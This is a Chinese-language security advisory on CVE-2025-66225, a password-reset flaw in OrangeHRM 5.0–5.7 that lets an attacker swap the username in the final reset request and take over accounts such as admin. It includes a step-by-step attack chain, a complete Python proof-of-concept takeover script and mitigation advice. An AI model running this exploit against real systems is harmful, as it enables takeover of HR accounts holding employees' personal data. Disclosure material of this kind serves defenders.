IPBUF安全漏洞报告
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CVE-2025-66225 CVSS 8.8 高危

CVE-2025-66225 OrangeHRM密码重置账户接管漏洞

披露日期: 2025-11-29

漏洞信息

漏洞编号
CVE-2025-66225
漏洞类型
身份验证绕过
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OrangeHRM

相关标签

身份验证绕过密码重置漏洞账户接管逻辑缺陷OrangeHRMCVE-2025-66225HRM系统Web应用漏洞

漏洞概述

OrangeHRM是一套综合性人力资源管理系统。2025年披露的安全漏洞影响5.0至5.7版本,该漏洞位于密码重置工作流程中。攻击者利用密码重置机制中的验证缺陷,可以在获取任意账户的有效重置链接后,通过修改最终重置请求中的用户名参数,将密码重置目标指向其他用户账户。由于系统未验证最终请求中的用户名与原始发起重置流程的账户是否匹配,攻击者可以为任意账户(包括高权限管理员账户)设置新密码,从而实现完整的账户接管。此漏洞无需特殊技术能力或高级权限即可利用,但需要攻击者能够接收目标账户的密码重置邮件。OrangeHRM官方已在5.8版本中修复此问题,强烈建议用户立即升级。

技术细节

该漏洞属于逻辑缺陷类身份验证绕过。在OrangeHRM的密码重置流程中,第一步用户请求密码重置并收到发送到其邮箱的重置链接;第二步用户点击链接进入重置页面并提交新密码。问题在于系统在第二步处理最终密码重置请求时,仅验证重置链接的有效性(如token是否正确且未过期),但未强制验证请求中提交的username参数是否与原始发起重置流程的账户一致。攻击者可以先用自己的邮箱发起正常密码重置获取有效链接,然后在提交新密码时将username参数替换为其他目标用户(如admin),系统仍会接受此请求并为admin账户设置新密码。由于密码重置链接通常有效期较长(数小时至数天),攻击者有充足时间进行账户接管操作。

攻击链分析

STEP 1
步骤1
攻击者收集目标OrangeHRM系统中存在的有效用户名(如通过信息收集或社工手段)
STEP 2
步骤2
攻击者使用自己控制的邮箱发起密码重置请求,获取有效的密码重置链接和token
STEP 3
步骤3
攻击者获取邮箱中的重置链接,访问密码重置页面
STEP 4
步骤4
在提交新密码时,攻击者将请求中的username参数修改为任意目标用户(如admin或HR管理员)
STEP 5
步骤5
系统验证token有效后,未校验username是否匹配,直接为指定账户设置新密码
STEP 6
步骤6
攻击者使用新设置的密码登录目标账户,实现完整的账户接管

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-66225 PoC - OrangeHRM Password Reset Account Takeover # This PoC demonstrates the username mismatch vulnerability in password reset flow import requests import argparse def get_reset_token(target_email, orangehrm_url): """Step 1: Request password reset for attacker-controlled email""" reset_endpoint = f"{orangehrm_url}/index.php/auth/requestPasswordReset" data = { "username": target_email, "email": target_email } response = requests.post(reset_endpoint, data=data) return response.status_code == 200 def hijack_account(reset_token, target_username, new_password, orangehrm_url): """Step 2: Use token but change username to hijack target account""" reset_endpoint = f"{orangehrm_url}/index.php/auth/resetPassword" data = { "resetToken": reset_token, "username": target_username, # Attacker changes this to target user "password": new_password, "confirmPassword": new_password } response = requests.post(reset_endpoint, data=data) return response.status_code == 200 def main(): parser = argparse.ArgumentParser(description='CVE-2025-66225 PoC') parser.add_argument('--url', required=True, help='OrangeHRM URL') parser.add_argument('--attacker-email', required=True, help='Attacker email for receiving reset link') parser.add_argument('--target-user', required=True, help='Target username to hijack') parser.add_argument('--new-password', required=True, help='New password to set') args = parser.parse_args() print(f"[*] Step 1: Requesting password reset for {args.attacker_email}") if get_reset_token(args.attacker_email, args.url): print("[+] Reset email sent to attacker email") reset_token = input("[*] Enter the reset token from email: ") print(f"[*] Step 2: Hijacking account {args.target_user}") if hijack_account(reset_token, args.target_user, args.new_password, args.url): print(f"[+] Successfully changed password for {args.target_user}") else: print("[-] Failed to hijack account") if __name__ == "__main__": main()

影响范围

OrangeHRM 5.0
OrangeHRM 5.1
OrangeHRM 5.2
OrangeHRM 5.3
OrangeHRM 5.4
OrangeHRM 5.5
OrangeHRM 5.6
OrangeHRM 5.7

防御指南

临时缓解措施
立即将OrangeHRM升级到5.8版本。在无法立即升级的情况下,可临时采取以下措施:1)限制密码重置功能的访问频率和来源IP;2)监控密码重置日志,识别异常的密码重置请求模式(如同一IP大量请求密码重置);3)启用账户锁定机制,连续失败后锁定账户;4)通知所有用户警惕未经请求的密码重置邮件;5)考虑临时禁用密码重置功能并要求管理员手动处理密码重置请求。

参考链接

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